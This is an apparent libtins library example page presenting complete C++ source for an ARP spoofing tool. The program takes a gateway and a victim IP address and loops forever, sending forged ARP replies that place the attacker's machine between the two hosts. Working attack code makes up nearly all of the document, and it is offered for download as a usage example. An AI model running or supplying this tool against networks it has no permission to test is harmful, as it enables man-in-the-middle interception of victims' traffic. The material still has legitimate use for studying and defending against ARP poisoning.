This is a simple implementation of an ARP spoofing attack. This implementation can spoof only one host's hardware address. You must provide the gateway and the host's IP address as command line arguments.

In this example you can have a look at how the EthernetII PDU is used, and how hardware addresses are resolved in practice.

You can download this code here.

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* Copyright (c) 2016, Matias Fontanini
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#include <iostream>
#include <string>
#include <stdexcept>
#include <cstdlib>
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#else
#include <unistd.h>
#endif // _WIN32
#include <tins/arp.h>
#include <tins/network_interface.h>
#include <tins/utils.h>
#include <tins/ethernetII.h>
#include <tins/packet_sender.h>

using std::cout;
using std::runtime_error;
using std::endl;

using namespace Tins;


void do_arp_spoofing(NetworkInterface iface,
IPv4Address gw,
IPv4Address victim,
const NetworkInterface::Info& info) {
PacketSender sender;
EthernetII::address_type gw_hw, victim_hw;

// Resolves gateway's hardware address.
gw_hw = Utils::resolve_hwaddr(iface, gw, sender);

// Resolves victim's hardware address.
victim_hw = Utils::resolve_hwaddr(iface, victim, sender);

// Print out the hw addresses we're using.
cout << " Using gateway hw address: " << gw_hw << "\n";
cout << " Using victim hw address: " << victim_hw << "\n";
cout << " Using own hw address: " << info.hw_addr << "\n";

/* We tell the gateway that the victim is at out hw address,
* and tell the victim that the gateway is at out hw address */

ARP gw_arp(gw, victim, gw_hw, info.hw_addr),
victim_arp(victim, gw, victim_hw, info.hw_addr);
// We are "replying" ARP requests
gw_arp.opcode(ARP::REPLY);
victim_arp.opcode(ARP::REPLY);

/* The packet we'll send to the gateway and victim.
* We include our hw address as the source address
* in ethernet layer, to avoid possible packet dropping
* performed by any routers. */

EthernetII to_gw = EthernetII(gw_hw, info.hw_addr) / gw_arp;
EthernetII to_victim = EthernetII(victim_hw, info.hw_addr) / victim_arp;
while (true) {
// Just send them once every 5 seconds.
sender.send(to_gw, iface);
sender.send(to_victim, iface);
#ifdef _WIN32
Sleep(5);
#else
sleep(5);
#endif
}
}

int main(int argc, char* argv[]) {
if (argc != 3) {
cout << "Usage: " <<* argv << " <Gateway> <Victim>" << endl;
return 1;
}
IPv4Address gw, victim;
EthernetII::address_type own_hw;
try {
// Convert dotted-notation ip addresses to integer.
gw = argv[1];
victim = argv[2];
}
catch (...) {
cout << "Invalid ip found...\n";
return 2;
}

NetworkInterface iface;
NetworkInterface::Info info;
try {
// Get the interface which will be the gateway for our requests.
iface = gw;
// Lookup the interface id. This will be required while forging packets.
// Find the interface hardware and ip address.
info = iface.addresses();
}
catch (runtime_error& ex) {
cout << ex.what() << endl;
return 3;
}
try {
do_arp_spoofing(iface, gw, victim, info);
}
catch (runtime_error& ex) {
cout << "Runtime error: " << ex.what() << endl;
return 7;
}
}